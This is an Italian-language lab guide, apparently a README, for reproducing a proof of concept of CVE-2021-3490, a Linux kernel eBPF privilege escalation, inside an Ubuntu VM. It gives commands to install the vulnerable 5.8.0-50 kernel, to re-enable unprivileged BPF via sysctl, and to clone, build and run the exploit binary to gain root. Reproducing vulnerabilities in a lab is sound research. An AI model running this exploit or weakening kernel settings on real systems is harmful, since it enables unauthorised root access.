
Crediti a https://github.com/chompie1337
Installa la ubuntu-20.04.6-live-server-amd64.iso da Ubuntu Releases e installala nella macchina virtuale.
wget https://releases.ubuntu.com/20.04/ubuntu-20.04.6-live-server-amd64.iso
Dopo aver installato l'ISO, installa completamente il server Ubuntu in una macchina virtuale ed esegui i seguenti comandi.
sudo apt update
sudo apt install linux-image-5.8.0-50-generic linux-headers-5.8.0-50-generic linux-modules-5.8.0-50-generic linux-modules-extra-5.8.0-50-generic build-essential git libelf-dev
sudo nano /etc/default/grub
# Rimuovi la riga nascosta e imposta grub_timeout = 15
Riavvia con il kernel appena installato ed esegui il seguente comando:
echo "kernel.unprivileged_bpf_disabled=0" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
Quindi clona questo repository nella macchina virtuale.
git clone https://github.com/prabeershakya/CVE-2021-3490-POC.git
Ora spostati nella directory del POC ed esegui il seguente comando.
make groovy
Infine, esegui il seguente comando per ottenere i privilegi di root!!
chmod +x ./bin/exploit.bin
./bin/exploit.bin